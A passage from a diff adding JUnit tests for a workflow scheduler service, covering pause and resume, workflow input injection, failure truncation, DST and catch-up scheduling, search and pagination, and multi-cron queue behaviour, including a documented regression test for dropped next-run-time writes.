(QueueDAO) service.queueDAO; + service.handleSchedules(List.of(testSchedule.getName())); + + verify(mockQueue, times(1)) + .ack(CONDUCTOR_SYSTEM_SCHEDULER_QUEUE_NAME, testSchedule.getName()); + verify(mockQueue, never()).push(anyString(), anyString(), anyInt(), anyInt()); + verify(workflowService, never()).startWorkflow(any()); + } + + @Test + @DisplayName("pauseSchedule on non-existent schedule throws NotFoundException") + void pauseNonExistentSchedule() { + SchedulerTimeProvider mockTimeProvider = Mockito.mock(SchedulerTimeProvider.class); + SchedulerService service = createServiceWithRedisHealthy(mockTimeProvider); + service.start(); + + assertThrows(NotFoundException.class, () -> service.pauseSchedule("non_existent_schedule")); + } + + @Test + @DisplayName("resumeSchedule on non-existent schedule throws NotFoundException") + void resumeNonExistentSchedule() { + SchedulerTimeProvider mockTimeProvider = Mockito.mock(SchedulerTimeProvider.class); + SchedulerService service = createServiceWithRedisHealthy(mockTimeProvider); + service.start(); + + assertThrows( + NotFoundException.class, () -> service.resumeSchedule("non_existent_schedule")); + } + + @Test + @DisplayName("resumeSchedule on a non-paused schedule throws NotFoundException") + void resumeScheduleOnNonPausedSchedule() { + SchedulerTimeProvider mockTimeProvider = Mockito.mock(SchedulerTimeProvider.class); + SchedulerService service = createServiceWithRedisHealthy(mockTimeProvider); + service.start(); + + when(mockTimeProvider.getUtcTime(any())).thenReturn(utcTime(1630000000000L)); + WorkflowSchedule active = new WorkflowSchedule(); + active.setName("active_schedule"); + active.setCronExpression("@daily"); + active.setStartWorkflowRequest(new StartWorkflowRequest()); + active.getStartWorkflowRequest().setName("wf"); + service.createOrUpdateWorkflowSchedule(active); + + assertThrows(NotFoundException.class, () -> service.resumeSchedule("active_schedule")); + } + + // ------------------------------------------------------------------------- + // Global scheduler pause toggle + // ------------------------------------------------------------------------- + + @Test + @DisplayName("pauseScheduler toggle prevents and restores schedule execution") + void pauseSchedulerToggle() { + SchedulerTimeProvider mockTimeProvider = Mockito.mock(SchedulerTimeProvider.class); + SchedulerService service = createServiceWithRedisHealthy(mockTimeProvider); + service.start(); + + when(mockTimeProvider.getUtcTime(any())).thenReturn(utcTime(1630000000000L)); + WorkflowSchedule testSchedule = new WorkflowSchedule(); + testSchedule.setName("toggled_schedule"); + testSchedule.setCronExpression("@daily"); + testSchedule.setStartWorkflowRequest(new StartWorkflowRequest()); + testSchedule.getStartWorkflowRequest().setName("wf"); + service.createOrUpdateWorkflowSchedule(testSchedule); + Mockito.reset(mockTimeProvider); + + // Pause the global scheduler + service.pauseScheduler(true); + for (int i = 0; i < 5; i++) { + executor.getExecutorServiceMainQueuePoll(1).getCommand().run(); + } + assertEquals( + 0, + queueDAO.getCounter("pop-conductor_system_scheduler"), + "Scheduler must not poll the queue while paused"); + verify(workflowService, never()).startWorkflow(any()); + + // Unpause and advance time + service.pauseScheduler(false); + when(mockTimeProvider.getUtcTime(any())).thenReturn(utcTime(1630022399500L)); + executor.getExecutorServiceMainQueuePoll(1).getCommand().run(); + + assertEquals( + 1, + queueDAO.getCounter("pop-conductor_system_scheduler"), + "Scheduler should poll after unpausing"); + verify(workflowService, times(1)).startWorkflow(any()); + } + + // ------------------------------------------------------------------------- + // Workflow input injection + // ------------------------------------------------------------------------- + + @Test + @DisplayName("scheduler injects _startedByScheduler and metadata into workflow input") + void workflowInputInjection() { + SchedulerTimeProvider mockTimeProvider = Mockito.mock(SchedulerTimeProvider.class); + SchedulerService service = createServiceWithRedisHealthy(mockTimeProvider); + service.start(); + + when(mockTimeProvider.getUtcTime(any())).thenReturn(utcTime(1630000000000L)); + + StartWorkflowRequest swr = new StartWorkflowRequest(); + swr.setName("my_workflow"); + swr.setInput(new HashMap<>(Map.of("custom_key", "custom_value"))); + + WorkflowSchedule testSchedule = new WorkflowSchedule(); + testSchedule.setName("input_schedule"); + testSchedule.setCronExpression("@daily"); + testSchedule.setStartWorkflowRequest(swr); + service.createOrUpdateWorkflowSchedule(testSchedule); + Mockito.reset(mockTimeProvider); + + when(mockTimeProvider.getUtcTime(any())).thenReturn(utcTime(1630022399500L)); + executor.getExecutorServiceMainQueuePoll(1).getCommand().run(); + + ArgumentCaptor captor = + ArgumentCaptor.forClass(StartWorkflowRequest.class); + verify(workflowService, times(1)).startWorkflow(captor.capture()); + + StartWorkflowRequest captured = captor.getValue(); + Map input = captured.getInput(); + + assertEquals("input_schedule", input.get("_startedByScheduler")); + assertNotNull(input.get("_scheduledTime")); + assertNotNull(input.get("_executedTime")); + assertNotNull(input.get("_executionId")); + assertNotNull(input.get("_schedulerCron")); + assertTrue(input.get("_schedulerCron").toString().contains("@daily")); + assertEquals( + "custom_value", + input.get("custom_key"), + "Original user-provided input must be preserved"); + } + + // ------------------------------------------------------------------------- + // Failed workflow trigger + // ------------------------------------------------------------------------- + + @Test + @DisplayName("failed workflow trigger saves FAILED state with truncated reason/stackTrace") + void failedWorkflowTrigger() { + SchedulerTimeProvider mockTimeProvider = Mockito.mock(SchedulerTimeProvider.class); + SchedulerService service = createServiceWithRedisHealthy(mockTimeProvider); + service.start(); + + String longMessage = "E".repeat(2000); + when(workflowService.startWorkflow(any())).thenThrow(new RuntimeException(longMessage)); + + when(mockTimeProvider.getUtcTime(any())).thenReturn(utcTime(1630000000000L)); + WorkflowSchedule testSchedule = new WorkflowSchedule(); + testSchedule.setName("fail_schedule"); + testSchedule.setCronExpression("@daily"); + testSchedule.setStartWorkflowRequest(new StartWorkflowRequest()); + testSchedule.getStartWorkflowRequest().setName("wf"); + service.createOrUpdateWorkflowSchedule(testSchedule); + Mockito.reset(mockTimeProvider); + + when(mockTimeProvider.getUtcTime(any())).thenReturn(utcTime(1630022399500L)); + executor.getExecutorServiceMainQueuePoll(1).getCommand().run(); + + List recordIds = schedulerDAO.getPendingExecutionRecordIds(); + assertFalse(recordIds.isEmpty(), "A FAILED execution record should have been saved"); + + WorkflowScheduleExecutionModel record = schedulerDAO.readExecutionRecord(recordIds.get(0)); + assertNotNull(record); + assertEquals(WorkflowScheduleExecutionModel.State.FAILED, record.getState()); + assertNotNull(record.getReason()); + assertTrue( + record.getReason().length() <= 999, + "Reason should be truncated to 999 characters, got " + record.getReason().length()); + assertNotNull(record.getStackTrace()); + assertTrue( + record.getStackTrace().length() <= 2000, + "StackTrace should be truncated to 2000 characters"); + } + + // ------------------------------------------------------------------------- + // DST / timezone offset + // ------------------------------------------------------------------------- + + @Test + @DisplayName("computeNextSchedule correctly handles DST timezone transitions") + void scheduleOffsetCalculation() { + SchedulerTimeProvider mockTimeProvider = Mockito.mock(SchedulerTimeProvider.class); + SchedulerService service = createServiceWithRedisHealthy(mockTimeProvider); + service.start(); + + String cronExpression = "0 0 6 * * ?"; + // 8th March 9:30 AM + Long scheduleStartTime = 1709976626000L; + ZonedDateTime now = + ZonedDateTime.ofInstant( + Instant.ofEpochMilli(scheduleStartTime), ZoneId.of("America/New_York")); + ZonedDateTime last = now; + WorkflowScheduleModel wsm = new WorkflowScheduleModel(); + wsm.setZoneId("America/New_York"); + wsm.setScheduleStartTime(scheduleStartTime); + wsm.setCronExpression(cronExpression); + + List nextSchedules = new ArrayList<>(); + for (int i = 0; i < 2; i++) { + ZonedDateTime nextScheduleTime = service.computeNextSchedule(wsm, now, last); + if (nextScheduleTime == null) { + break; + } + nextSchedules.add(nextScheduleTime); + last = now; + now = nextScheduleTime; + } + + assertEquals(2, nextSchedules.size()); + // On March 10, daylight savings kicks in: offset changes from -05:00 to -04:00 + assertEquals("-05:00", nextSchedules.get(0).getOffset().toString()); + assertEquals("-04:00", nextSchedules.get(1).getOffset().toString()); + // Local time must remain 6:00 AM regardless of DST + assertEquals("06:00", nextSchedules.get(0).toLocalTime().toString()); + assertEquals("06:00", nextSchedules.get(1).toLocalTime().toString()); + } + + // ------------------------------------------------------------------------- + // Catchup mode + // ------------------------------------------------------------------------- + + @Test + @DisplayName("runCatchupScheduleInstances uses lastExpectedRunTime as cron base") + void runCatchupScheduleInstances() { + SchedulerTimeProvider mockTimeProvider = Mockito.mock(SchedulerTimeProvider.class); + SchedulerService service = createService(mockTimeProvider); + + // Every 10 seconds cron + WorkflowScheduleModel schedule = new WorkflowScheduleModel(); + schedule.setName("catchup_schedule"); + schedule.setCronExpression("*/10 * * ? * *"); + schedule.setRunCatchupScheduleInstances(true); + schedule.setStartWorkflowRequest(new StartWorkflowRequest()); + + long baseEpoch = 1630000000000L; + ZonedDateTime currentTime = utcTime(baseEpoch + 35_000); + ZonedDateTime lastExpected = utcTime(baseEpoch + 10_000); + + // With catchup=true: next = cron.next(lastExpected) = T+20s + ZonedDateTime next = service.computeNextSchedule(schedule, currentTime, lastExpected); + + assertNotNull(next); + long nextEpoch = next.toInstant().toEpochMilli(); + assertEquals( + baseEpoch + 20_000, + nextEpoch, + "Catch-up mode should compute next from lastExpectedRunTime, not currentTime"); + } + + // ------------------------------------------------------------------------- + // getListOfNextSchedules + // ------------------------------------------------------------------------- + + @Test + @DisplayName("getListOfNextSchedules caps results at 5") + void getListOfNextSchedulesCapsAtFive() { + SchedulerTimeProvider mockTimeProvider = Mockito.mock(SchedulerTimeProvider.class); + ZonedDateTime now = utcTime(1630000000000L); + when(mockTimeProvider.getUtcTime(any())).thenReturn(now); + SchedulerService service = createService(mockTimeProvider); + + List results = service.getListOfNextSchedules("0 * * * * ?", null, null, 10); + + assertEquals(5, results.size(), "Result must be capped at 5"); + for (int i = 1; i < results.size(); i++) { + assertTrue(results.get(i) > results.get(i - 1), "Results must be in ascending order"); + } + } + + @Test + @DisplayName("getListOfNextSchedules throws RuntimeException for invalid cron expression") + void getListOfNextSchedulesInvalidCron() { + SchedulerTimeProvider mockTimeProvider = Mockito.mock(SchedulerTimeProvider.class); + SchedulerService service = createService(mockTimeProvider); + + assertThrows( + RuntimeException.class, + () -> service.getListOfNextSchedules("not-a-cron", null, null, 3)); + } + + @Test + @DisplayName("getListOfNextSchedules stops early when scheduleEndTime is reached") + void getListOfNextSchedulesRespectsEndTime() { + SchedulerTimeProvider mockTimeProvider = Mockito.mock(SchedulerTimeProvider.class); + ZonedDateTime now = utcTime(1630000000000L); + when(mockTimeProvider.getUtcTime(any())).thenReturn(now); + SchedulerService service = createService(mockTimeProvider); + + // Every minute cron; end time allows only 2 executions + long endTime = 1630000000000L + 90_000L; // 1.5 minutes from now + List results = service.getListOfNextSchedules("0 * * * * ?", null, endTime, 5); + + assertEquals(2, results.size(), "Should return only fires before endTime"); + assertTrue(results.get(0) <= endTime); + assertTrue(results.get(1) <= endTime); + } + + // ------------------------------------------------------------------------- + // Search schedules + // ------------------------------------------------------------------------- + + @Test + @DisplayName("searchSchedules returns all schedules with default parameters") + void testSearchSchedulesDefault() { + SchedulerTimeProvider mockTimeProvider = Mockito.mock(SchedulerTimeProvider.class); + SchedulerService service = createService(mockTimeProvider); + + for (int i = 0; i < 5; i++) { + WorkflowSchedule schedule = new WorkflowSchedule(); + schedule.setName("test_schedule_" + i); + schedule.setCronExpression("0 0 * * * ?"); + schedule.setStartWorkflowRequest(new StartWorkflowRequest()); + schedule.getStartWorkflowRequest().setName("test_workflow_" + i); + schedule.setPaused(i % 2 == 0); + + when(mockTimeProvider.getUtcTime(any())).thenReturn(utcTime(1630000000000L)); + service.createOrUpdateWorkflowSchedule(schedule); + } + + SearchResult result = + service.searchSchedules(null, null, null, "*", 0, 10, List.of()); + + assertNotNull(result); + assertEquals(5, result.getTotalHits()); + assertEquals(5, result.getResults().size()); + } + + @Test + @DisplayName("searchSchedules filters by workflow name") + void testSearchSchedulesByWorkflowName() { + SchedulerTimeProvider mockTimeProvider = Mockito.mock(SchedulerTimeProvider.class); + SchedulerService service = createService(mockTimeProvider); + + String targetWorkflowName = "target_workflow"; + for (int i = 0; i < 3; i++) { + WorkflowSchedule schedule = new WorkflowSchedule(); + schedule.setName("schedule_" + i); + schedule.setCronExpression("0 0 * * * ?"); + schedule.setStartWorkflowRequest(new StartWorkflowRequest()); + schedule.getStartWorkflowRequest().setName(targetWorkflowName); + when(mockTimeProvider.getUtcTime(any())).thenReturn(utcTime(1630000000000L)); + service.createOrUpdateWorkflowSchedule(schedule); + } + + WorkflowSchedule otherSchedule = new WorkflowSchedule(); + otherSchedule.setName("other_schedule"); + otherSchedule.setCronExpression("0 0 * * * ?"); + otherSchedule.setStartWorkflowRequest(new StartWorkflowRequest()); + otherSchedule.getStartWorkflowRequest().setName("other_workflow"); + when(mockTimeProvider.getUtcTime(any())).thenReturn(utcTime(1630000000000L)); + service.createOrUpdateWorkflowSchedule(otherSchedule); + + SearchResult result = + service.searchSchedules(targetWorkflowName, null, null, "*", 0, 10, List.of()); + + assertNotNull(result); + assertEquals(3, result.getTotalHits()); + result.getResults() + .forEach( + s -> + assertEquals( + targetWorkflowName, s.getStartWorkflowRequest().getName())); + } + + @Test + @DisplayName("searchSchedules filters by paused status") + void testSearchSchedulesByPausedStatus() { + SchedulerTimeProvider mockTimeProvider = Mockito.mock(SchedulerTimeProvider.class); + SchedulerService service = createService(mockTimeProvider); + + for (int i = 0; i < 2; i++) { + WorkflowSchedule schedule = new WorkflowSchedule(); + schedule.setName("paused_schedule_" + i); + schedule.setCronExpression("0 0 * * * ?"); + schedule.setStartWorkflowRequest(new StartWorkflowRequest()); + schedule.getStartWorkflowRequest().setName("test_workflow"); + schedule.setPaused(true); + when(mockTimeProvider.getUtcTime(any())).thenReturn(utcTime(1630000000000L)); + service.createOrUpdateWorkflowSchedule(schedule); + } + + for (int i = 0; i < 3; i++) { + WorkflowSchedule schedule = new WorkflowSchedule(); + schedule.setName("active_schedule_" + i); + schedule.setCronExpression("0 0 * * * ?"); + schedule.setStartWorkflowRequest(new StartWorkflowRequest()); + schedule.getStartWorkflowRequest().setName("test_workflow"); + schedule.setPaused(false); + when(mockTimeProvider.getUtcTime(any())).thenReturn(utcTime(1630000000000L)); + service.createOrUpdateWorkflowSchedule(schedule); + } + + SearchResult pausedResult = + service.searchSchedules(null, null, true, "*", 0, 10, List.of()); + assertEquals(2, pausedResult.getTotalHits()); + pausedResult.getResults().forEach(s -> assertTrue(s.isPaused())); + + SearchResult activeResult = + service.searchSchedules(null, null, false, "*", 0, 10, List.of()); + assertEquals(3, activeResult.getTotalHits()); + activeResult.getResults().forEach(s -> assertFalse(s.isPaused())); + } + + @Test + @DisplayName("searchSchedules filters by name pattern") + void testSearchSchedulesByNamePattern() { + SchedulerTimeProvider mockTimeProvider = Mockito.mock(SchedulerTimeProvider.class); + SchedulerService service = createService(mockTimeProvider); + + for (int i = 0; i < 3; i++) { + WorkflowSchedule schedule = new WorkflowSchedule(); + schedule.setName("daily_report_" + i); + schedule.setCronExpression("0 0 * * * ?"); + schedule.setStartWorkflowRequest(new StartWorkflowRequest()); + schedule.getStartWorkflowRequest().setName("report_workflow"); + when(mockTimeProvider.getUtcTime(any())).thenReturn(utcTime(1630000000000L)); + service.createOrUpdateWorkflowSchedule(schedule); + } + + WorkflowSchedule otherSchedule = new WorkflowSchedule(); + otherSchedule.setName("hourly_sync"); + otherSchedule.setCronExpression("0 0 * * * ?"); + otherSchedule.setStartWorkflowRequest(new StartWorkflowRequest()); + otherSchedule.getStartWorkflowRequest().setName("sync_workflow"); + when(mockTimeProvider.getUtcTime(any())).thenReturn(utcTime(1630000000000L)); + service.createOrUpdateWorkflowSchedule(otherSchedule); + + SearchResult result = + service.searchSchedules(null, "daily_report", null, "*", 0, 10, List.of()); + + assertNotNull(result); + assertEquals(3, result.getTotalHits()); + result.getResults().forEach(s -> assertTrue(s.getName().contains("daily_report"))); + } + + @Test + @DisplayName("searchSchedules handles pagination correctly") + void testSearchSchedulesPagination() { + SchedulerTimeProvider mockTimeProvider = Mockito.mock(SchedulerTimeProvider.class); + SchedulerService service = createService(mockTimeProvider); + + for (int i = 0; i < 10; i++) { + WorkflowSchedule schedule = new WorkflowSchedule(); + schedule.setName("schedule_" + String.format("%02d", i)); + schedule.setCronExpression("0 0 * * * ?"); + schedule.setStartWorkflowRequest(new StartWorkflowRequest()); + schedule.getStartWorkflowRequest().setName("test_workflow"); + when(mockTimeProvider.getUtcTime(any())).thenReturn(utcTime(1630000000000L)); + service.createOrUpdateWorkflowSchedule(schedule); + } + + SearchResult page1 = + service.searchSchedules(null, null, null, "*", 0, 3, List.of("name:ASC")); + assertEquals(10, page1.getTotalHits()); + assertEquals(3, page1.getResults().size()); + + SearchResult page2 = + service.searchSchedules(null, null, null, "*", 3, 3, List.of("name:ASC")); + assertEquals(10, page2.getTotalHits()); + assertEquals(3, page2.getResults().size()); + + List page1Names = + page1.getResults().stream() + .map(WorkflowSchedule::getName) + .collect(Collectors.toList()); + List page2Names = + page2.getResults().stream() + .map(WorkflowSchedule::getName) + .collect(Collectors.toList()); + page1Names.forEach(name -> assertFalse(page2Names.contains(name))); + } + + @Test + @DisplayName("searchSchedules sorts correctly") + void testSearchSchedulesSorting() { + SchedulerTimeProvider mockTimeProvider = Mockito.mock(SchedulerTimeProvider.class); + SchedulerService service = createService(mockTimeProvider); + + List names = Arrays.asList("charlie_schedule", "alpha_schedule", "bravo_schedule"); + for (String name : names) { + WorkflowSchedule schedule = new WorkflowSchedule(); + schedule.setName(name); + schedule.setCronExpression("0 0 * * * ?"); + schedule.setStartWorkflowRequest(new StartWorkflowRequest()); + schedule.getStartWorkflowRequest().setName("test_workflow"); + when(mockTimeProvider.getUtcTime(any())).thenReturn(utcTime(1630000000000L)); + service.createOrUpdateWorkflowSchedule(schedule); + } + + SearchResult ascResult = + service.searchSchedules(null, null, null, "*", 0, 10, List.of("name:ASC")); + assertEquals(3, ascResult.getTotalHits()); + assertEquals("alpha_schedule", ascResult.getResults().get(0).getName()); + assertEquals("bravo_schedule", ascResult.getResults().get(1).getName()); + assertEquals("charlie_schedule", ascResult.getResults().get(2).getName()); + + SearchResult descResult = + service.searchSchedules(null, null, null, "*", 0, 10, List.of("name:DESC")); + assertEquals("charlie_schedule", descResult.getResults().get(0).getName()); + assertEquals("bravo_schedule", descResult.getResults().get(1).getName()); + assertEquals("alpha_schedule", descResult.getResults().get(2).getName()); + } + + @Test + @DisplayName("searchSchedules returns empty result when no match") + void testSearchSchedulesNoMatches() { + SchedulerTimeProvider mockTimeProvider = Mockito.mock(SchedulerTimeProvider.class); + SchedulerService service = createService(mockTimeProvider); + + WorkflowSchedule schedule = new WorkflowSchedule(); + schedule.setName("test_schedule"); + schedule.setCronExpression("0 0 * * * ?"); + schedule.setStartWorkflowRequest(new StartWorkflowRequest()); + schedule.getStartWorkflowRequest().setName("test_workflow"); + when(mockTimeProvider.getUtcTime(any())).thenReturn(utcTime(1630000000000L)); + service.createOrUpdateWorkflowSchedule(schedule); + + SearchResult result = + service.searchSchedules("non_existent_workflow", null, null, "*", 0, 10, List.of()); + assertEquals(0, result.getTotalHits()); + assertEquals(0, result.getResults().size()); + } + + // ------------------------------------------------------------------------- + // Requeue all execution records + // ------------------------------------------------------------------------- + + @Test + @DisplayName("requeueAllExecutionRecords pushes pending records to the archival queue") + void requeueAllExecutionRecords() { + SchedulerTimeProvider mockTimeProvider = Mockito.mock(SchedulerTimeProvider.class); + SchedulerService service = createService(mockTimeProvider); + service.start(); + + List execIds = new ArrayList<>(); + for (int i = 0; i < 3; i++) { + String id = UUID.randomUUID().toString(); + execIds.add(id); + WorkflowScheduleExecutionModel rec = new WorkflowScheduleExecutionModel(); + rec.setExecutionId(id); + rec.setScheduleName("sched" + i); + rec.setWorkflowName("wf" + i); + rec.setScheduledTime(1000L * i); + rec.setExecutionTime(2000L * i); + rec.setState(WorkflowScheduleExecutionModel.State.EXECUTED); + rec.setStartWorkflowRequest(new StartWorkflowRequest()); + schedulerDAO.saveExecutionRecord(rec); + } + + Map result = service.requeueAllExecutionRecords(); + + assertEquals(3, result.get("recordIds.size")); + assertEquals( + 3, queueDAO.dummyQueues.get(CONDUCTOR_SYSTEM_SCHEDULER_ARCHIVAL_QUEUE_NAME).size()); + for (String id : execIds) { + assertTrue( + queueDAO.dummyQueues + .get(CONDUCTOR_SYSTEM_SCHEDULER_ARCHIVAL_QUEUE_NAME) + .containsKey(id)); + } + } + + // ------------------------------------------------------------------------- + // Multi-cron schedule tests + // ------------------------------------------------------------------------- + + @Test + @DisplayName("multi-cron schedule creates one queue message per cron entry") + void multiCronScheduleCreatesOneQueueMessagePerCron() { + SchedulerTimeProvider mockTimeProvider = Mockito.mock(SchedulerTimeProvider.class); + ZonedDateTime now = utcTime(1630000000000L); + when(mockTimeProvider.getUtcTime(any())).thenReturn(now); + SchedulerService service = createServiceWithRedisHealthy(mockTimeProvider); + service.start(); + + WorkflowSchedule schedule = new WorkflowSchedule(); + schedule.setName("multi_cron_sched"); + schedule.setStartWorkflowRequest(new StartWorkflowRequest()); + schedule.getStartWorkflowRequest().setName("my_wf"); + + CronSchedule cs1 = new CronSchedule(); + cs1.setCronExpression("@daily"); + cs1.setZoneId("UTC"); + CronSchedule cs2 = new CronSchedule(); + cs2.setCronExpression("0 0 12 * * ?"); + cs2.setZoneId("UTC"); + schedule.setCronSchedules(Arrays.asList(cs1, cs2)); + + service.createOrUpdateWorkflowSchedule(schedule); + + Map schedulerQueue = + queueDAO.dummyQueues.get(CONDUCTOR_SYSTEM_SCHEDULER_QUEUE_NAME); + assertNotNull(schedulerQueue); + assertEquals( + 2, + schedulerQueue.size(), + "Multi-cron schedule must produce one queue message per cron entry"); + + for (String msgId : schedulerQueue.keySet()) { + assertTrue( + msgId.startsWith("{"), + "Multi-cron queue messages must be JSON but got: " + msgId); + } + } + + @Test + @DisplayName("multi-cron picks the earliest next run across all cron entries") + void multiCronSchedulePicksEarliestNextRun() { + SchedulerTimeProvider mockTimeProvider = Mockito.mock(SchedulerTimeProvider.class); + ZonedDateTime now = utcTime(1630000000000L); // Aug 26, 2021 5:46:40 PM UTC + when(mockTimeProvider.getUtcTime(any())).thenReturn(now); + SchedulerService service = createService(mockTimeProvider); + service.start(); + + WorkflowScheduleModel wsm = new WorkflowScheduleModel(); + wsm.setName("earliest_cron"); + wsm.setStartWorkflowRequest(new StartWorkflowRequest()); + wsm.getStartWorkflowRequest().setName("wf"); + + CronSchedule daily = new CronSchedule(); + daily.setCronExpression("@daily"); + daily.setZoneId("UTC"); + + CronSchedule sixPm = new CronSchedule(); + sixPm.setCronExpression("0 0 18 * * ?"); // 6 PM UTC + sixPm.setZoneId("UTC"); + wsm.setCronSchedules(Arrays.asList(daily, sixPm)); + + NextScheduleResult result = service.computeNextScheduleWithZone(wsm, now, now); + + assertNotNull(result); + long nextEpoch = result.getNextRunTime().toInstant().toEpochMilli(); + // 6PM UTC August 26, 2021 should come before midnight + long sixPmEpoch = + ZonedDateTime.of(2021, 8, 26, 18, 0, 0, 0, ZoneId.of("UTC")) + .toInstant() + .toEpochMilli(); + assertEquals( + sixPmEpoch, nextEpoch, "Should pick the earlier 6PM cron over midnight @daily"); + } + + @Test + @DisplayName("multi-cron fires each entry independently and injects _schedulerCron") + void multiCronScheduleFiresWithCorrectCronInInput() { + SchedulerTimeProvider mockTimeProvider = Mockito.mock(SchedulerTimeProvider.class); + ZonedDateTime createTime = utcTime(1630000000000L); + when(mockTimeProvider.getUtcTime(any())).thenReturn(createTime); + + SchedulerService service = createServiceWithRedisHealthy(mockTimeProvider); + service.start(); + + WorkflowSchedule schedule = new WorkflowSchedule(); + schedule.setName("multi_cron_fire"); + schedule.setStartWorkflowRequest(new StartWorkflowRequest()); + schedule.getStartWorkflowRequest().setName("wf"); + + CronSchedule cs = new CronSchedule(); + cs.setCronExpression("0 59 23 * * ?"); + cs.setZoneId("UTC"); + schedule.setCronSchedules(Collections.singletonList(cs)); + + service.createOrUpdateWorkflowSchedule(schedule); + + // Simulate execution time: just before midnight + when(mockTimeProvider.getUtcTime(any())).thenReturn(utcTime(1630022399500L)); + executor.getExecutorServiceMainQueuePoll(1).getCommand().run(); + + ArgumentCaptor captor = + ArgumentCaptor.forClass(StartWorkflowRequest.class); + verify(workflowService, times(1)).startWorkflow(captor.capture()); + + StartWorkflowRequest captured = captor.getValue(); + Map input = captured.getInput(); + + assertNotNull(input.get("_schedulerCron")); + String schedulerCron = input.get("_schedulerCron").toString(); + assertTrue(schedulerCron.contains("0 59 23 * * ?")); + assertTrue(schedulerCron.contains("UTC")); + } + + @Test + @DisplayName("updating single-cron to multi-cron removes old message and adds JSON messages") + void updateFromSingleToMultiCronRemovesOldMessages() { + SchedulerTimeProvider mockTimeProvider = Mockito.mock(SchedulerTimeProvider.class); + ZonedDateTime now = utcTime(1630000000000L); + when(mockTimeProvider.getUtcTime(any())).thenReturn(now); + + SchedulerService service = createServiceWithRedisHealthy(mockTimeProvider); + service.start(); + + // Create initial single-cron schedule + WorkflowSchedule singleCron = new WorkflowSchedule(); + singleCron.setName("upgrade_schedule"); + singleCron.setCronExpression("@daily"); + singleCron.setZoneId("UTC"); + singleCron.setStartWorkflowRequest(new StartWorkflowRequest()); + singleCron.getStartWorkflowRequest().setName("wf"); + service.createOrUpdateWorkflowSchedule(singleCron); + + Map queue = queueDAO.dummyQueues.get(CONDUCTOR_SYSTEM_SCHEDULER_QUEUE_NAME); + assertEquals(1, queue.size()); + assertTrue(queue.containsKey("upgrade_schedule")); + + // Update to multi-cron + WorkflowSchedule multiCron = new WorkflowSchedule(); + multiCron.setName("upgrade_schedule"); + multiCron.setStartWorkflowRequest(new StartWorkflowRequest()); + multiCron.getStartWorkflowRequest().setName("wf"); + + CronSchedule cs1 = new CronSchedule(); + cs1.setCronExpression("@daily"); + cs1.setZoneId("UTC"); + CronSchedule cs2 = new CronSchedule(); + cs2.setCronExpression("0 0 12 * * ?"); + cs2.setZoneId("UTC"); + multiCron.setCronSchedules(Arrays.asList(cs1, cs2)); + service.createOrUpdateWorkflowSchedule(multiCron); + + queue = queueDAO.dummyQueues.get(CONDUCTOR_SYSTEM_SCHEDULER_QUEUE_NAME); + assertEquals( + 2, queue.size(), "After update to multi-cron, should have 2 JSON queue messages"); + assertFalse( + queue.containsKey("upgrade_schedule"), + "Plain single-cron message must be removed after upgrade to multi-cron"); + for (String key : queue.keySet()) { + assertTrue(key.startsWith("{"), "New messages must be JSON payloads"); + } + } + + /** + * BUG REGRESSION — multi-cron per-cron next-run-time must be stored in the DAO and must not + * cause the schedule to fire on every poll cycle. + * + *

    After a multi-cron message fires, {@code SchedulerService} calls {@code + * schedulerDAO.setNextRunTimeInEpoch(jsonPayload, nextEpoch)} where {@code jsonPayload} is a + * JSON string like {@code {"name":"s","cron":"... UTC","id":0}} — not the schedule name. The + * DAO must persist that value. + * + *

    Redis and SQL DAO implementations silently drop this write (hexists guard / UPDATE with 0 + * rows matched), so a subsequent {@code getNextRunTimeInEpoch(jsonPayload)} returns {@code -1}. + * {@code SchedulerService} interprets -1 as epoch 1970, deduces the schedule is perpetually + * overdue, and fires the workflow on every poll cycle. + * + *

    This test runs with {@code InMemorySchedulerDAO}, which correctly supports arbitrary keys. + * It documents what correct behavior looks like and serves as a regression test once the + * Redis/SQL DAOs are fixed. The companion DAO-level tests ({@code + * testSetAndGetNextRunTime_withMultiCronPayloadKey}) directly reproduce the bug in each storage + * backend. + */ + @Test + @DisplayName( + "multi-cron: per-cron next-run-time is stored in DAO and schedule does not misfire") + void multiCronNextRunTimeIsStoredAfterCreateAndAfterFiring() throws Exception { + SchedulerTimeProvider mockTimeProvider = Mockito.mock(SchedulerTimeProvider.class); + when(redisMonitor.isMemoryCritical()).thenReturn(false); + when(redisMonitor.getUsagePercentage()).thenReturn(10); + + // t0 = 2021-08-26T22:46:40Z (cron "59 59 23 * * ?" fires at 23:59:59, ~73 min away) + long t0 = 1630000000000L; + when(mockTimeProvider.getUtcTime(any())).thenReturn(utcTime(t0)); + SchedulerService service = createService(mockTimeProvider); + service.start(); + + WorkflowSchedule schedule = new WorkflowSchedule(); + schedule.setName("multi_cron_nrt_bug"); + schedule.setStartWorkflowRequest(new StartWorkflowRequest()); + schedule.getStartWorkflowRequest().setName("wf"); + + CronSchedule cs = new CronSchedule(); + cs.setCronExpression("59 59 23 * * ?"); // fires at 23:59:59 UTC each day + cs.setZoneId("UTC"); + schedule.setCronSchedules(Collections.singletonList(cs)); + + service.createOrUpdateWorkflowSchedule(schedule); + + // After creation: the scheduler queue must contain exactly one JSON payload message. + Map schedulerQueue = + queueDAO.dummyQueues.get(CONDUCTOR_SYSTEM_SCHEDULER_QUEUE_NAME); + assertEquals(1, schedulerQueue.size()); + String queueMsgId = schedulerQueue.keySet().iterator().next(); + assertTrue( + queueMsgId.startsWith("{"), + "Queue message for multi-cron must be a JSON payload, got: " + queueMsgId); + + // After creation: the per-cron next-run-time must be stored in the DAO under the JSON + // payload key (not the schedule name). This is what SQL/Redis DAOs currently drop. + long storedAtCreate = schedulerDAO.getNextRunTimeInEpoch(queueMsgId); + assertTrue( + storedAtCreate > t0, + "After createOrUpdateWorkflowSchedule, the per-cron next-run-time must be " + + "stored under the JSON payload key. Got: " + + storedAtCreate + + ". If this is -1 the DAO is silently dropping the write (the bug)."); + + // Advance time to 500 ms after 23:59:59 UTC — the cron is now due. + // fireTime corresponds to 2021-08-26T23:59:59.500Z + long fireTime = 1630022399500L; + when(mockTimeProvider.getUtcTime(any())).thenReturn(utcTime(fireTime)); + + // Trigger one handler iteration; it pops the queue message and should fire the workflow. + executor.getExecutorServiceMainQueuePoll(1).getCommand().run(); + + // The workflow must have fired exactly once. + verify(workflowService, times(1)).startWorkflow(any()); + + // After firing: the per-cron next-run-time must be updated to the NEXT occurrence of + // "59 59 23 * * ?" — i.e., 2021-08-27T23:59:59Z = 1630108799000L, which is > fireTime. + // If the DAO dropped the write (the bug), getNextRunTimeInEpoch returns -1 and the next + // handler call will see offsetSeconds ≪ 0 and fire again immediately. + long storedAfterFire = 